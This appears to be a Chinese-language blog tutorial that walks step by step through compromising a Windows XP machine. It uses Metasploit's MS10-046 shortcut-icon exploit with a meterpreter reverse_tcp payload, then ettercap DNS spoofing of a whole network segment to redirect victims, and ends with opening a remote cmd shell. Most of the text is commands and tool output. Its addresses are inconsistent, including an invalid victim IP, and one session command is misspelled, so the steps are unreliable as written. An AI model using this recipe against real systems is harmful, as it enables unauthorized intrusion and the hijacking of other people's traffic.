不多說,直接上干貨!
准備工具
1、Kali linux 2016.2(Rolling)系統 IP: 192.168.1.103
2、受害者機子(windows XP系統) IP: 10.10.10.1.102
3、使用工具 msfconsole
步驟:
1、進入控制台

root@kali:~# msfconsole +-------------------------------------------------------+ | METASPLOIT by Rapid7 | +---------------------------+---------------------------+ | __________________ | | | ==c(______(o(______(_() | |""""""""""""|======[*** | | )=\ | | EXPLOIT \ | | // \\ | |_____________\_______ | | // \\ | |==[msf >]============\ | | // \\ | |______________________\ | | // RECON \\ | \(@)(@)(@)(@)(@)(@)(@)/ | | // \\ | ********************* | +---------------------------+---------------------------+ | o O o | \'\/\/\/'/ | | o O | )======( | | o | .' LOOT '. | | |^^^^^^^^^^^^^^|l___ | / _||__ \ | | | PAYLOAD |""\___, | / (_||_ \ | | |________________|__|)__| | | __||_) | | | |(@)(@)"""**|(@)(@)**|(@) | " || " | | = = = = = = = = = = = = | '--------------' | +---------------------------+---------------------------+ Taking notes in notepad? Have Metasploit Pro track & report your progress and findings -- learn more on http://rapid7.com/metasploit =[ metasploit v4.11.5-2015103001 ] + -- --=[ 1500 exploits - 864 auxiliary - 251 post ] + -- --=[ 432 payloads - 37 encoders - 8 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
2、載入windows模塊中的漏洞圖標工具
msf > use exploit/windows/browser/ms10_046_shortcut_icon_dllloader msf exploit(ms10_046_shortcut_icon_dllloader) >
因為,我們是針對windows里的瀏覽器的漏洞,ms10_046_shortcut_icon_dllloader 。
即,上述命令的意思是,通過use去調用這個工具。
3、需要配置的參數

msf exploit(ms10_046_shortcut_icon_dllloader) > show options Module options (exploit/windows/browser/ms10_046_shortcut_icon_dllloader): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 80 yes The daemon port to listen on (do not change) SSLCert no Path to a custom SSL certificate (default is randomly generated) UNCHOST no The host portion of the UNC path to provide to clients (ex: 1.2.3.4). URIPATH / yes The URI to use (do not change). Exploit target: Id Name -- ---- 0 Automatic
在執行這個工具漏洞的時候,yes選項是必須要配置的。no選項如果你沒有特殊需要一般都是不需配置的。
以上是當前的值。
msf exploit(ms10_046_shortcut_icon_dllloader) > set SRVHOST 192.168.1.102 SRVHOST => 192.168.1.102
set后面,接要攻擊的主機。來改變當前的信息。大家可以用show options來查看。
4、返回信息
msf exploit(ms10_046_shortcut_icon_dllloader) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(ms10_046_shortcut_icon_dllloader) > show options ---查看配置信息 Module options (exploit/windows/browser/ms10_046_shortcut_icon_dllloader): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 10.10.10.129 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 80 yes The daemon port to listen on (do not change) SSLCert no Path to a custom SSL certificate (default is randomly generated) UNCHOST no The host portion of the UNC path to provide to clients (ex: 1.2.3.4). URIPATH / yes The URI to use (do not change). Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic
show options , 以上,會同時看到,載荷模塊和滲透攻擊模塊的信息。兩個模塊的參數信息,都可以看到。
反彈端口集群的ip , LHOST即本機。
msf exploit(ms10_046_shortcut_icon_dllloader) > set LHOST 192.168.1.102 LHOST => 192.168.1.102
或者可以如下
msf exploit(ms10_046_shortcut_icon_dllloader) > setg LHOST 192.168.1.102 LHOST => 192.168.1.102
5、執行攻擊
msf exploit(ms10_046_shortcut_icon_dllloader) > exploit
執行命令,它會根據你之前設置的參數信息,然后整合調用好,去發動這個攻擊。
本博文的攻擊 , 它會自動地開啟當前機器的 80端口,然后讓別人去訪問它,實現攻擊。
注意:我們一般為了讓攻擊更主動和更完美,可以配合一個dns欺騙,那么對方就會主動上鈎。不需我們等。這里用的是ettercap
如果,在BT5里,則是在/usr/local/share/ettercap下的etter.dns。

root@kali:/etc/ettercap# pwd /etc/ettercap root@kali:/etc/ettercap# ls etter.conf etter.dns etter.mdns etter.nbns root@kali:/etc/ettercap# vi etter.dns

那么,我們在這里。
cn A 192.168.1.102

保存退出。
然后,(在Kali linux 2016.2(Rolling)機器)
root@kali ettercap -T -q -i eth0 -P dns_spoof // //
etho是當前使用的網卡 , // //是對整個網段進行期盼。
然后,在受害者機器上,當受害者,隨便輸入什么,都會被解析。
之前呢,只要受害者,在瀏覽器里192.168.80.102:80端口才能,上了攻擊者的全套。(做dns欺騙之前)
那么現在呢,只要受害者,訪問.cn域名的時候,則會強行被欺騙成192.168.80.102:80 ,並會全部被攻擊者劫持掉。這樣我們可以就會控制受害者機器。
當我們不需了,我們按ctrl + c停止即可。(做dns欺騙之后)
然后我們,可以通過session命令,來進入,看到我們被攻擊下來的這台受害機器的會話
msf exploit(ms10_046_shortcut_icon_dllloader) > session
msf exploit(ms10_046_shortcut_icon_dllloader) > session -i 1 (這個是-i來指定會話的id)
meterpreter > shell (這個是可以進入到cmd shell里)
c:\ > (即,進入了,被害者機器的windows命令)
當然若你不用了,你可以按ctrl + c,則可以退回來
meterpreter >
參考:菜鳥騰飛安全網VIP《MetaSploit滲透測試平台之應用》
